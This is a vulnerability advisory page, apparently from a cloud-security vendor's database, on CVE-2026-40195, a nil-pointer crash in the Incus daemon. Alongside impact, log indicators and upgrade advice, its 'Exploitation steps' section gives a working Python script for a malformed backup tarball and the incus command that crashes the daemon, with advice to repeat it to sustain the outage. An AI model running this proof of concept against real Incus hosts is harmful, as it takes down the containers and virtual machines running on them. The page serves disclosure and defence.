CVE-2026-40195
NixOS vulnerability analysis and mitigation

Overview

CVE-2026-40195 is a NULL Pointer Dereference (CWE-476) vulnerability in Incus, a system container and virtual machine manager developed by Linux Containers. The flaw exists in versions before 7.0.0 and allows an authenticated user with access to the storage bucket feature to crash the Incus daemon (incusd) by importing a malformed backup archive. Repeated exploitation can keep the Incus service offline, constituting a persistent denial of service. The vulnerability was published on May 6, 2026, and was discovered and reported by the team at 7asecurity. It carries a CVSS v3.1 base score of 6.5 (Medium) and a CVSS v4.0 base score of 7.1 (High) (GitHub Advisory).

Technical details

The root cause is missing nil-pointer validation in the CreateBucketFromBackup function within internal/server/storage/backend.go. When the Incus daemon processes a bucket import operation, it parses the index.yaml file from the supplied archive and immediately accesses members of the srcBackup.Config object (e.g., srcBackup.Config.Bucket.StorageBucketPut and srcBackup.Config.BucketKeys) without first verifying that srcBackup.Config was successfully initialized. A crafted or malformed index.yaml that omits the config block results in srcBackup.Config being a nil pointer; dereferencing it triggers a Go runtime panic (SIGSEGV), terminating the daemon process. The attack requires only low privileges (authenticated access to the storage bucket import feature) and no user interaction, and is exploitable over the network (GitHub Advisory).

Impact

Successful exploitation causes the incusd daemon to crash immediately, taking the entire Incus node offline and disrupting all hosted system containers and virtual machines managed by that daemon. Because the crash is repeatable with minimal effort, an attacker can sustain a denial-of-service condition indefinitely, preventing legitimate users and administrators from managing workloads. There is no confidentiality or integrity impact — the vulnerability is purely an availability issue affecting the Incus management plane (GitHub Advisory).

Exploitability

A proof-of-concept exploit is publicly available in the GitHub Security Advisory, including a Python script to generate the malicious tarball and the exact incus storage bucket import command to trigger the daemon crash. The EPSS score is 0.043% (low probability of widespread exploitation in the near term). There is no evidence of in-the-wild exploitation at this time, no known threat actor attribution, and the vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog (GitHub Advisory).

Exploitation steps

  1. Obtain authenticated access: Acquire credentials or an API token for an Incus deployment running a version before 7.0.0 with access to the storage bucket feature.
  2. Create the malicious archive: On any system with Python, run the following script to generate a minimal bucket backup tarball whose index.yaml omits the config block:
import tarfile, io
index_content = b"name: dos-trigger\n"
with tarfile.open("nil_panic.tar.gz", "w:gz") as tar:
    info = tarfile.TarInfo(name="backup/index.yaml")
    info.size = len(index_content)
    tar.addfile(info, io.BytesIO(index_content))
print("[+] Nil-Pointer PoC Tarball created: nil_panic.tar.gz")
  1. Trigger the vulnerable import path: Using the Incus client authenticated to the target, import the crafted archive into any valid storage pool:
incus storage bucket import local-pool nil_panic.tar.gz crash-test
  1. Daemon crash: The CreateBucketFromBackup function dereferences the nil srcBackup.Config pointer, triggering a Go runtime panic (SIGSEGV) and terminating the incusd process.
  2. Sustain denial of service: Repeat the import command after the daemon restarts (if auto-restart is configured) to keep the Incus node continuously offline (GitHub Advisory).

Indicators of compromise

  • Logs: journalctl -u incus entries containing panic: runtime error: invalid memory address or nil pointer dereference and [signal SIGSEGV: segmentation violation code=0x1] originating from github.com/lxc/incus/v6/internal/server/storage.(*backend).CreateBucketFromBackup at backend.go:7754.
  • Logs: Systemd log entries showing incus.service: Main process exited, code=exited, status=2/INVALIDARGUMENT and incus.service: Failed with result 'exit-code' in rapid succession.
  • Logs: Repeated incus.service restart events within a short time window, indicating automated restart followed by re-exploitation.
  • Network: Authenticated API calls to the storage bucket import endpoint (POST /1.0/storage-pools/{pool}/buckets) with archive payloads that are unusually small or malformed.
  • File System: Presence of small .tar.gz files (e.g., containing only a minimal backup/index.yaml with no config block) uploaded or staged on client systems (GitHub Advisory).

Mitigation and workarounds

Upgrade Incus to version 7.0.0 or later, which adds nil-pointer validation in CreateBucketFromBackup before accessing srcBackup.Config members. As a workaround prior to patching, restrict access to the storage bucket import feature to only fully trusted users by reviewing and tightening Incus access controls and API permissions. Additionally, monitor service logs for repeated daemon crashes as an indicator of exploitation attempts (GitHub Advisory).

Community reactions

The vulnerability was discovered and responsibly disclosed by the team at 7asecurity, and the advisory was published by Incus maintainer Stéphane Graber (stgraber). The issue was classified as "Moderate" severity by the Incus project. Coverage has appeared on Linux security advisory aggregators and vulnerability tracking platforms, but there has been no significant broader media or social media discussion beyond standard CVE tracking (GitHub Advisory).

Additional resources

Linux Distribution fix status

Fix availability across major Linux distributions and their releases.

Debian

Fixed

sid

incus: 7.0.0-1

Fixed

trixie

incus: 6.0.4-2+deb13u7

Fixed

Ubuntu

Unknown

devel

incus

Unknown

noble

incus

Unknown

noble (esm-apps)

incus

Unknown

resolute

incus

Unknown

resolute (esm-apps)

incus

Unknown

Alpine

Fixed

edge

incus-feature: 7.0.0-r0

Fixed

SourceThis report was generated using AI

Related NixOS vulnerabilities:

CVE ID

Severity

Score

Technologies

Component name

CISA KEV exploit

Has fix

Published date

CVE-2026-91782LOW1.9
  • NixOS logoNixOS
  • binutils
NoYesSep 15, 2026
CVE-2026-91781LOW1.9
  • NixOS logoNixOS
  • binutils
NoYesSep 15, 2026
CVE-2026-91780LOW1.9
  • NixOS logoNixOS
  • binutils
NoNoSep 15, 2026
CVE-2026-91779LOW1.9
  • NixOS logoNixOS
  • binutils
NoNoSep 15, 2026
CVE-2026-90831LOW1.9
  • NixOS logoNixOS
  • gcc-toolset-15-binutils-devel
NoYesSep 14, 2026

Free Vulnerability Assessment

Benchmark your Cloud Security Posture

Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.

Request assessment

Get a personalized demo

Ready to see Wiz in action?

"Best User Experience I have ever seen, provides full visibility to cloud workloads."
David EstlickCISO
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
Adam FletcherChief Security Officer
"We know that if Wiz identifies something as critical, it actually is."
Greg PoniatowskiHead of Threat and Vulnerability Management